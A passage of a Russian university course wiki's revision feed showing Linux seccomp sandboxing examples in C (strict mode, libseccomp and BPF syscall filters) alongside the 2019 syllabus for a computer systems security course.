  #include &amp;lt;sys/fcntl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    pid_t pid;&lt;br /&gt;
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);&lt;br /&gt;
    printf (&amp;quot;No restrictions yet\n&amp;quot;);&lt;br /&gt;
    seccomp_load(ctx);&lt;br /&gt;
    pid = getpid();&lt;br /&gt;
    printf(&amp;quot;!! YOU SHOULD NOT SEE THIS!! My PID is%d\n&amp;quot;, pid);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*************************************************************************\&lt;br /&gt;
*                  Copyright (C) Michael Kerrisk, 2016.                   *&lt;br /&gt;
*                                                                         *&lt;br /&gt;
* This program is free software. You may use, modify, and redistribute it *&lt;br /&gt;
* under the terms of the GNU General Public License as published by the   *&lt;br /&gt;
* Free Software Foundation, either version 3 or (at your option) any      *&lt;br /&gt;
* later version. This program is distributed without any warranty.  See   *&lt;br /&gt;
* the file COPYING.gpl-v3 for details.                                    *&lt;br /&gt;
\*************************************************************************/&lt;br /&gt;
&lt;br /&gt;
/* Supplementary program for Chapter Z */&lt;br /&gt;
&lt;br /&gt;
/* seccomp_deny.c&lt;br /&gt;
   A simple seccomp filter example. Install a filter that kills the process&lt;br /&gt;
   if open() is called.&lt;br /&gt;
*/&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;  /* Type definitions used by many programs */&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;      /* Standard I/O functions */&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;     /* Prototypes of commonly used library functions, plus EXIT_SUCCESS and EXIT_FAILURE constants */&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;     /* Prototypes for many system calls */&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;      /* Declares errno and defines error constants */&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;     /* Commonly used string-handling functions */&lt;br /&gt;
&lt;br /&gt;
static int&lt;br /&gt;
seccomp(unsigned int operation, unsigned int flags, void *args)&lt;br /&gt;
{&lt;br /&gt;
    return syscall(__NR_seccomp, operation, flags, args);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void&lt;br /&gt;
install_filter(void)&lt;br /&gt;
{&lt;br /&gt;
    struct sock_filter filter[] = {&lt;br /&gt;
        /* Load architecture */&lt;br /&gt;
&lt;br /&gt;
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,&lt;br /&gt;
                (offsetof(struct seccomp_data, arch))),&lt;br /&gt;
&lt;br /&gt;
        /* Kill process if the architecture is not what we expect */&lt;br /&gt;
&lt;br /&gt;
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),&lt;br /&gt;
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),&lt;br /&gt;
&lt;br /&gt;
        /* Load system call number */&lt;br /&gt;
&lt;br /&gt;
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,&lt;br /&gt;
                 (offsetof(struct seccomp_data, nr))),&lt;br /&gt;
&lt;br /&gt;
        /* Allow system calls other than open() */&lt;br /&gt;
&lt;br /&gt;
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0),&lt;br /&gt;
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
&lt;br /&gt;
        /* Kill process on open() */&lt;br /&gt;
&lt;br /&gt;
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
    struct sock_fprog prog = {&lt;br /&gt;
        .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),&lt;br /&gt;
        .filter = filter,&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
    if (seccomp(SECCOMP_SET_MODE_FILTER, 0, &amp;amp;prog) == -1)&lt;br /&gt;
        perror(&amp;quot;seccomp&amp;quot;);&lt;br /&gt;
    /* On Linux 3.16 and earlier, we must instead use:&lt;br /&gt;
&lt;br /&gt;
            if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;prog))&lt;br /&gt;
                errExit(&amp;quot;prctl-PR_SET_SECCOMP&amp;quot;);&lt;br /&gt;
    */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))&lt;br /&gt;
        perror(&amp;quot;prctl&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    install_filter();&lt;br /&gt;
&lt;br /&gt;
    if (open(&amp;quot;/tmp/a&amp;quot;, O_RDONLY) == -1)&lt;br /&gt;
        perror(&amp;quot;open&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;We shouldn&#039;t see this message\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    exit(EXIT_SUCCESS);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 4 ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define ArchField offsetof(struct seccomp_data, arch)&lt;br /&gt;
&lt;br /&gt;
#define Allow(syscall) \&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)&lt;br /&gt;
&lt;br /&gt;
struct sock_filter filter[] = {&lt;br /&gt;
    /* validate arch */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),&lt;br /&gt;
    BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),&lt;br /&gt;
&lt;br /&gt;
    /* load syscall */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),&lt;br /&gt;
&lt;br /&gt;
    /* list of allowed syscalls */&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_brk, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_mmap, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_munmap, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_write, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_exit, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
&lt;br /&gt;
    /* and if we don&#039;t match above, die */&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),&lt;br /&gt;
};&lt;br /&gt;
struct sock_fprog filterprog = {&lt;br /&gt;
    .len = sizeof(filter)/sizeof(filter[0]),&lt;br /&gt;
    .filter = filter&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
    char buf[1024];&lt;br /&gt;
&lt;br /&gt;
    /* set up the restricted environment */&lt;br /&gt;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;filterprog) == -1) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /* printf only writes to stdout, but for some reason it stats it. */&lt;br /&gt;
    printf(&amp;quot;hello there!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    if (argc &amp;gt; 1 &amp;amp;&amp;amp; strcmp(argv[1], &amp;quot;haxor&amp;quot;) == 0) {&lt;br /&gt;
        int fd = socket(AF_INET6, SOCK_STREAM, 0);&lt;br /&gt;
        /* ...and start sending spam */&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/SECCOMP&amp;diff=36922</id>
		<title>Безопасность компьютерных систем 2018/SECCOMP</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/SECCOMP&amp;diff=36922"/>
		<updated>2019-11-24T19:51:57Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Linux seccomp ==&lt;br /&gt;
Ссылки для изучения:&lt;br /&gt;
&lt;br /&gt;
# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://events.linuxfoundation.org/sites/events/files/slides/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf&lt;br /&gt;
# https://eigenstate.org/notes/seccomp&lt;br /&gt;
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 1 ==&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
  int main () {&lt;br /&gt;
  pid_t pid;&lt;br /&gt;
  printf(&amp;quot;Step 1: no restrictions yet\n&amp;quot;);&lt;br /&gt;
  prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);&lt;br /&gt;
  printf (&amp;quot;Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls    are allowed\n&amp;quot;);&lt;br /&gt;
  pid = getpid ();&lt;br /&gt;
  printf (&amp;quot;!!YOU SHOULD NOT SEE THIS!! My PID = %d&amp;quot;, pid);&lt;br /&gt;
  return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 2 ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/fcntl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    pid_t pid;&lt;br /&gt;
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);&lt;br /&gt;
    printf (&amp;quot;No restrictions yet\n&amp;quot;);&lt;br /&gt;
    seccomp_load(ctx);&lt;br /&gt;
    pid = getpid();&lt;br /&gt;
    printf(&amp;quot;!! YOU SHOULD NOT SEE THIS!! My PID is%d\n&amp;quot;, pid);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 3 ==&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/fcntl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;asm/unistd_64.h&amp;gt;&lt;br /&gt;
  static void install_filter ( void ) {&lt;br /&gt;
  struct sock_filter filter [] = {&lt;br /&gt;
  BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,&lt;br /&gt;
  ( offsetof ( struct seccomp_data , arch ))) ,&lt;br /&gt;
  BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K ,&lt;br /&gt;
  AUDIT_ARCH_X86_64 , 1 , 0) ,&lt;br /&gt;
  BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL ) ,&lt;br /&gt;
  BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,&lt;br /&gt;
  ( offsetof ( struct seccomp_data , nr ))) ,&lt;br /&gt;
  BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K , __NR_open ,&lt;br /&gt;
 1 , 0) ,&lt;br /&gt;
  BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_ALLOW ) ,&lt;br /&gt;
  BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL )&lt;br /&gt;
  };&lt;br /&gt;
  struct sock_fprog prog = {&lt;br /&gt;
  .len = ( unsigned short ) ( sizeof ( filter ) /&lt;br /&gt;
  sizeof ( filter [0])) ,&lt;br /&gt;
  . filter = filter ,&lt;br /&gt;
  };&lt;br /&gt;
  syscall( __NR_seccomp , SECCOMP_SET_MODE_FILTER , 0 , &amp;amp; prog );&lt;br /&gt;
 }&lt;br /&gt;
  int main (int argc , char ** argv ) {&lt;br /&gt;
   prctl ( PR_SET_NO_NEW_PRIVS , 1 , 0 , 0 , 0);&lt;br /&gt;
   install_filter ();&lt;br /&gt;
   open ( &amp;quot;/tmp/a&amp;quot; , O_RDONLY );&lt;br /&gt;
   printf ( &amp;quot;We shouldn ’t see this message \n&amp;quot; );&lt;br /&gt;
  exit ( EXIT_SUCCESS );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 4 ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define ArchField offsetof(struct seccomp_data, arch)&lt;br /&gt;
&lt;br /&gt;
#define Allow(syscall) \&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)&lt;br /&gt;
&lt;br /&gt;
struct sock_filter filter[] = {&lt;br /&gt;
    /* validate arch */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),&lt;br /&gt;
    BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),&lt;br /&gt;
&lt;br /&gt;
    /* load syscall */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),&lt;br /&gt;
&lt;br /&gt;
    /* list of allowed syscalls */&lt;br /&gt;
    Allow(exit_group),  /* exits a processs */&lt;br /&gt;
    Allow(brk),     /* for malloc(), inside libc */&lt;br /&gt;
    Allow(mmap),        /* also for malloc() */&lt;br /&gt;
    Allow(munmap),      /* for free(), inside libc */&lt;br /&gt;
    Allow(write),       /* called by printf */&lt;br /&gt;
    Allow(fstat),       /* called by printf */&lt;br /&gt;
&lt;br /&gt;
    /* and if we don&#039;t match above, die */&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),&lt;br /&gt;
};&lt;br /&gt;
struct sock_fprog filterprog = {&lt;br /&gt;
    .len = sizeof(filter)/sizeof(filter[0]),&lt;br /&gt;
    .filter = filter&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
    char buf[1024];&lt;br /&gt;
&lt;br /&gt;
    /* set up the restricted environment */&lt;br /&gt;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;filterprog) == -1) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /* printf only writes to stdout, but for some reason it stats it. */&lt;br /&gt;
    printf(&amp;quot;hello there!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    if (argc &amp;gt; 1 &amp;amp;&amp;amp; strcmp(argv[1], &amp;quot;haxor&amp;quot;) == 0) {&lt;br /&gt;
        int fd = socket(AF_INET6, SOCK_STREAM, 0);&lt;br /&gt;
        /* ...and start sending spam */&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36872</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36872"/>
		<updated>2019-11-22T20:39:16Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]&lt;br /&gt;
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]&lt;br /&gt;
# (25.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (02.12) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
